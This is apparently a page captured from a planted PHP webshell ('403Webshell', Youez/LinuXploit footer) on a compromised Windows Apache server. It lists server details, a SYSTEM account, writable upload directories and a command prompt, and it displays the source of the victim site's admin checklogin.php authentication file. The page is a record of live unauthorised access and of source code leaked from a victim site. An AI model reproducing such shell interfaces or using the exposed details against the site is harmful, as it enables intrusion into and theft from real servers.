403Webshell
Server IP : 172.67.187.206  /  Your IP : 172.71.28.155
Web Server : Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
System : Windows NT WIN-ECQAAA40806 6.2 build 9200 (Windows Server 2012 Standard Edition) i586
User : SYSTEM ( 0)
PHP Version : 5.6.30
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Inetpub/www/news/datacenter/admin/core/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /Inetpub/www/news/datacenter/admin/core//checklogin.php
<?php
if(!isset($_SESSION)) session_start();

if (isset($_COOKIE['pike_rememberme']))
	{
		// User is logged (cookie)
		$token = filter_input(INPUT_COOKIE, 'pike_rememberme', FILTER_SANITIZE_ENCODED);
	}
	
else if(isset($_SESSION['user_token']))
	{
		// User is logged (session)
		$token = filter_var($_SESSION['user_token']);
	}

else
	{
		// User not logged
		header("location: ".ADMIN_URL."/index.php?msg=not_logged");
		exit;
	}
	
// User logged	
$stmt = $conn->prepare("SELECT user_id, name, username, role_id, avatar FROM ".DB_PREFIX."users WHERE token = ? AND active = 1 LIMIT 1");
$stmt->bindParam(1, $token);
$stmt->execute();	

$row = $stmt->fetch(PDO::FETCH_ASSOC);
$logged_user_id = $row['user_id'];
$logged_user_name = stripslashes($row['name']);
$logged_username = stripslashes($row['username']);
$logged_user_role_id = $row['role_id'];
$logged_user_avatar = $row['avatar'];
if($logged_user_avatar=="") $logged_user_avatar = "no_avatar.png";

if ($row==0 or !$row)
	{
		$_SESSION = array();
		session_destroy();
		setcookie('pike_rememberme', '', time()-60*60*24*130, "/");  // 130 days ago
		header("location: ".ADMIN_URL."/index.php?msg=invalid_user");
		exit;
	}
			
$sql = "SELECT role FROM ".DB_PREFIX."users_roles WHERE role_id = ? LIMIT 1";
$stmt = $conn->prepare($sql);
$stmt->bindParam(1, $logged_user_role_id, PDO::PARAM_INT);
$stmt->execute();	
$row = $stmt->fetch(PDO::FETCH_ASSOC);
$logged_user_role = stripslashes($row['role']);

// update last activity
$now = date("Y-m-d H:i:s");
$sql = "UPDATE ".DB_PREFIX."users SET last_activity = ? WHERE user_id = ? ORDER BY user_id DESC LIMIT 1"; 
$conn->prepare($sql)->execute([$now, $logged_user_id]);

Youez - 2016 - github.com/yon3zu
LinuXploit